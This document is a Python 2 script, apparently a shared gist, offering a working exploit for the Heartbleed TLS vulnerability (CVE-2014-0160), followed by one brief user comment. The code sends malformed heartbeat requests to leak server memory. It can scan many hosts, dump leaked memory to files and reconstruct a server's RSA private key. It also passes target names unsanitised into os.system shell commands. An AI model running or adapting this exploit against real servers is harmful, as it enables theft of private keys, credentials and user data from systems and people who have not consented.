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Heartbleed (CVE-2014-0160) Test & Exploit Python Script
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#!/usr/bin/python | |
# Modified by Travis Lee | |
# Last Updated: 4/21/14 | |
# Version 1.16 | |
# | |
# -changed output to display text only instead of hexdump and made it easier to read | |
# -added option to specify number of times to connect to server (to get more data) | |
# -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... | |
# -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) | |
# -added option to have verbose output | |
# -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command | |
# -added option for hex output | |
# -added option to output raw data to a file | |
# -added option to output ascii data to a file | |
# -added option to not display returned data on screen (good if doing many iterations and outputting to a file) | |
# -added tls version auto-detection | |
# -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen) | |
# -requires following modules: gmpy, pyasn1 | |
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) | |
# The author disclaims copyright to this source code. | |
import sys | |
import struct | |
import socket | |
import time | |
import select | |
import re | |
import time | |
import os | |
from optparse import OptionParser | |
options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)') | |
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') | |
options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') | |
options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') | |
options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') | |
options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') | |
options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output') | |
options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file') | |
options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file') | |
options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen') | |
options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.') | |
opts, args = options.parse_args() | |
if opts.extractkey: | |
import base64, gmpy | |
from pyasn1.codec.der import encoder | |
from pyasn1.type.univ import * | |
def hex2bin(arr): | |
return ''.join('{:02x}'.format(x) for x in arr).decode('hex') | |
tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'} | |
def build_client_hello(tls_ver): | |
client_hello = [ | |
# TLS header ( 5 bytes) | |
0x16, # Content type (0x16 for handshake) | |
0x03, tls_ver, # TLS Version | |
0x00, 0xdc, # Length | |
# Handshake header | |
0x01, # Type (0x01 for ClientHello) | |
0x00, 0x00, 0xd8, # Length | |
0x03, tls_ver, # TLS Version | |
# Random (32 byte) | |
0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b, | |
0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97, | |
0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85, | |
0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde, | |
0x00, # Session ID length | |
0x00, 0x66, # Cipher suites length | |
# Cipher suites (51 suites) | |
0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21, | |
0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87, | |
0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84, | |
0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b, | |
0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03, | |
0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f, | |
0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a, | |
0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e, | |
0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41, | |
0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02, | |
0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12, | |
0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08, | |
0x00, 0x06, 0x00, 0x03, 0x00, 0xff, | |
0x01, # Compression methods length | |
0x00, # Compression method (0x00 for NULL) | |
0x00, 0x49, # Extensions length | |
# Extension: ec_point_formats | |
0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, | |
# Extension: elliptic_curves | |
0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e, | |
0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c, | |
0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16, | |
0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07, | |
0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05, | |
0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02, | |
0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11, | |
# Extension: SessionTicket TLS | |
0x00, 0x23, 0x00, 0x00, | |
# Extension: Heartbeat | |
0x00, 0x0f, 0x00, 0x01, 0x01 | |
] | |
return client_hello | |
def build_heartbeat(tls_ver): | |
heartbeat = [ | |
0x18, # Content Type (Heartbeat) | |
0x03, tls_ver, # TLS version | |
0x00, 0x03, # Length | |
# Payload | |
0x01, # Type (Request) | |
0x40, 0x00 # Payload length | |
] | |
return heartbeat | |
if opts.rawoutfile: | |
rawfileOUT = open(opts.rawoutfile, "a") | |
if opts.asciioutfile: | |
asciifileOUT = open(opts.asciioutfile, "a") | |
if opts.extractkey: | |
opts.donotdisplay = True | |
def hexdump(s): | |
pdat = '' | |
hexd = '' | |
for b in xrange(0, len(s), 16): | |
lin = [c for c in s[b : b + 16]] | |
if opts.hexdump: | |
hxdat = ' '.join('%02X' % ord(c) for c in lin) | |
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) | |
hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat) | |
else: | |
pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) | |
if opts.hexdump: | |
return hexd | |
else: | |
pdat = re.sub(r'([.]{50,})', '', pdat) | |
if opts.asciioutfile: | |
asciifileOUT.write(pdat) | |
return pdat | |
def rcv_tls_record(s): | |
try: | |
tls_header = s.recv(5) | |
if not tls_header: | |
print 'Unexpected EOF (header)' | |
return None,None,None | |
typ,ver,length = struct.unpack('>BHH',tls_header) | |
message = '' | |
while len(message) != length: | |
message += s.recv(length-len(message)) | |
if not message: | |
print 'Unexpected EOF (message)' | |
return None,None,None | |
if opts.verbose: | |
print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,) | |
return typ,ver,message | |
except Exception as e: | |
print "\nError Receiving Record! " + str(e) | |
return None,None,None | |
def hit_hb(s, targ, firstrun, supported): | |
s.send(hex2bin(build_heartbeat(supported))) | |
while True: | |
typ, ver, pay = rcv_tls_record(s) | |
if typ is None: | |
print 'No heartbeat response received, server likely not vulnerable' | |
return '' | |
if typ == 24: | |
if opts.verbose: | |
print 'Received heartbeat response...' | |
if len(pay) > 3: | |
if firstrun or opts.verbose: | |
print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' | |
if opts.rawoutfile: | |
rawfileOUT.write(pay) | |
if opts.extractkey: | |
return pay | |
else: | |
return hexdump(pay) | |
else: | |
print 'Server processed malformed heartbeat, but did not return any extra data.' | |
if typ == 21: | |
print 'Received alert:' | |
return hexdump(pay) | |
print 'Server returned error, likely not vulnerable' | |
return '' | |
def conn(targ, port): | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sys.stdout.flush() | |
s.settimeout(10) | |
#time.sleep(0.2) | |
s.connect((targ, port)) | |
return s | |
except Exception as e: | |
print "Connection Error! " + str(e) | |
return None | |
def bleed(targ, port): | |
try: | |
res = '' | |
firstrun = True | |
print '\n##################################################################' | |
print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times' | |
for x in range(0, opts.num): | |
if x > 0: | |
firstrun = False | |
if x == 0 and opts.extractkey: | |
print "Attempting to extract private key from returned data..." | |
if not os.path.exists('./hb-certs'): | |
os.makedirs('./hb-certs') | |
print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n' | |
os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem') | |
print '\nExtracting modulus from cert...\n' | |
os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem') | |
output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2') | |
modulus = output.read() | |
s = conn(targ, port) | |
if not s: | |
continue | |
# send starttls command if specified as an option or if common smtp/pop3/imap ports are used | |
if (opts.starttls) or (port in {25, 587, 110, 143, 21}): | |
stls = False | |
atls = False | |
# check if smtp supports starttls/stls | |
if port in {25, 587}: | |
print 'SMTP Port... Checking for STARTTLS Capability...' | |
check = s.recv(1024) | |
s.send("EHLO someone.org\n") | |
sys.stdout.flush() | |
check += s.recv(1024) | |
if opts.verbose: | |
print check | |
if "STARTTLS" in check: | |
opts.starttls = True | |
print "STARTTLS command found" | |
elif "STLS" in check: | |
opts.starttls = True | |
stls = True | |
print "STLS command found" | |
else: | |
print "STARTTLS command NOT found!" | |
print '##################################################################' | |
return | |
# check if pop3/imap supports starttls/stls | |
elif port in {110, 143}: | |
print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' | |
check = s.recv(1024) | |
if port == 110: | |
s.send("CAPA\n") | |
if port == 143: | |
s.send("CAPABILITY\n") | |
sys.stdout.flush() | |
check += s.recv(1024) | |
if opts.verbose: | |
print check | |
if "STARTTLS" in check: | |
opts.starttls = True | |
print "STARTTLS command found" | |
elif "STLS" in check: | |
opts.starttls = True | |
stls = True | |
print "STLS command found" | |
else: | |
print "STARTTLS command NOT found!" | |
print '##################################################################' | |
return | |
# check if ftp supports auth tls/starttls | |
elif port in {21}: | |
print 'FTP Port... Checking for AUTH TLS Capability...' | |
check = s.recv(1024) | |
s.send("FEAT\n") | |
sys.stdout.flush() | |
check += s.recv(1024) | |
if opts.verbose: | |
print check | |
if "STARTTLS" in check: | |
opts.starttls = True | |
print "STARTTLS command found" | |
elif "AUTH TLS" in check: | |
opts.starttls = True | |
atls = True | |
print "AUTH TLS command found" | |
else: | |
print "STARTTLS command NOT found!" | |
print '##################################################################' | |
return | |
# send appropriate tls command if supported | |
if opts.starttls: | |
sys.stdout.flush() | |
if stls: | |
print 'Sending STLS Command...' | |
s.send("STLS\n") | |
elif atls: | |
print 'Sending AUTH TLS Command...' | |
s.send("AUTH TLS\n") | |
else: | |
print 'Sending STARTTLS Command...' | |
s.send("STARTTLS\n") | |
if opts.verbose: | |
print 'Waiting for reply...' | |
sys.stdout.flush() | |
rcv_tls_record(s) | |
supported = False | |
for num,tlsver in tls_versions.items(): | |
if firstrun: | |
print 'Sending Client Hello for {}'.format(tlsver) | |
s.send(hex2bin(build_client_hello(num))) | |
if opts.verbose: | |
print 'Waiting for Server Hello...' | |
while True: | |
typ,ver,message = rcv_tls_record(s) | |
if not typ: | |
if opts.verbose: | |
print 'Server closed connection without sending ServerHello for {}'.format(tlsver) | |
s.close() | |
s = conn(targ, port) | |
break | |
if typ == 22 and ord(message[0]) == 0x0E: | |
if firstrun: | |
print 'Received Server Hello for {}'.format(tlsver) | |
supported = True | |
break | |
if supported: break | |
if not supported: | |
print '\nError! No TLS versions supported!' | |
print '##################################################################' | |
return | |
if opts.verbose: | |
print '\nSending heartbeat request...' | |
sys.stdout.flush() | |
keyfound = False | |
if opts.extractkey: | |
res = hit_hb(s, targ, firstrun, supported) | |
if res == '': | |
continue | |
keyfound = extractkey(targ, res, modulus) | |
else: | |
res += hit_hb(s, targ, firstrun, supported) | |
s.close() | |
if keyfound: | |
sys.exit(0) | |
else: | |
sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num)) | |
sys.stdout.flush() | |
print '\n##################################################################' | |
return res | |
except Exception as e: | |
print "Error! " + str(e) | |
print '##################################################################' | |
def extractkey(host, chunk, modulus): | |
#print "\nChecking for private key...\n" | |
n = int (modulus, 16) | |
keysize = n.bit_length() / 16 | |
for offset in xrange (0, len (chunk) - keysize): | |
p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16) | |
if gmpy.is_prime (p) and p != n and n % p == 0: | |
if opts.verbose: | |
print '\n\nFound prime: ' + str(p) | |
e = 65537 | |
q = n / p | |
phi = (p - 1) * (q - 1) | |
d = gmpy.invert (e, phi) | |
dp = d % (p - 1) | |
dq = d % (q - 1) | |
qinv = gmpy.invert (q, p) | |
seq = Sequence() | |
for x in [0, n, e, d, p, q, dp, dq, qinv]: | |
seq.setComponentByPosition (len (seq), Integer (x)) | |
print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq)) | |
privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a") | |
privkeydump.write(chunk) | |
return True | |
else: | |
return False | |
def main(): | |
print "\ndefribulator v1.16" | |
print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)" | |
allresults = '' | |
# if a file is specified, loop through file | |
if opts.filein: | |
fileIN = open(opts.filein, "r") | |
for line in fileIN: | |
targetinfo = line.strip().split(":") | |
if len(targetinfo) > 1: | |
allresults = bleed(targetinfo[0], int(targetinfo[1])) | |
else: | |
allresults = bleed(targetinfo[0], opts.port) | |
if allresults and (not opts.donotdisplay): | |
print '%s' % (allresults) | |
fileIN.close() | |
else: | |
if len(args) < 1: | |
options.print_help() | |
return | |
allresults = bleed(args[0], opts.port) | |
if allresults and (not opts.donotdisplay): | |
print '%s' % (allresults) | |
if opts.rawoutfile: | |
rawfileOUT.close() | |
if opts.asciioutfile: | |
asciifileOUT.close() | |
if __name__ == '__main__': | |
main() |
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hi, tnx for the script. but the default output is too small, much data further